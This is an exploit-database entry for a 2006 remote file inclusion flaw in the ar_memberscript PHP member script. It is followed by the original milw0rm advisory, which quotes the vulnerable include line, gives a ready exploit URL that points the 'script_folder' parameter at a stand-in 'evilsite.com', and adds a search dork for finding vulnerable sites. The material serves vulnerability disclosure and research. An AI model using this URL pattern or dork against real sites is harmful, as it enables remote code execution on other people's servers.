ar_memberscript - remote file include vulnerability (all versions)

vendor:

ar_memberscript

by:

ex0

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: ar_memberscript

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

ar_memberscript – remote file include vulnerability (all versions)

ar_memberscript is a script used by many anime sites to manage their members, news, and some content, in some cases 'premium media'. The vulnerability is due to the lack of proper sanitization of user-supplied input to the 'script_folder' parameter in 'usercp_menu.php'. An attacker can exploit this vulnerability by sending a malicious URL to an unsuspecting user, which when clicked, will execute arbitrary code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.

Source

Exploit-DB raw data:

#################################################################################################
# Author: ex0
# 
# ar_memberscript - remote file include vulnerability (all versions)
# 
# **There is no vendo patch, and doubt there will be. I havnt been able to get in touch with the
# vendor for 2 months**
# 
# ar_memberscript is a script used by many anime sites to manage their members, news, and some 
# content, in some cases "premium media".
#
# 
# Discovered: 10/22/06
# Published: 12/12/06
# 
# Enjoy it.
# 
#################################################################################################

Here is the vulnerable code:

usercp_menu.php
include ( "$script_folder/login_form2.php" );

www.someanimesite.com/member/usercp_menu.php?script_folder=http://evilsite.com

Dont take too much advantage of it :).

Dork: "Members Statistics" +"Total Members" +"Guests Online"

# Greetz; Caution, Raph13, Yeast, Xpontius and all former Inf Crew members & all XeN Members.
# IRC: irc.milw0rm.com:6667 #esk

# milw0rm.com [2006-12-14]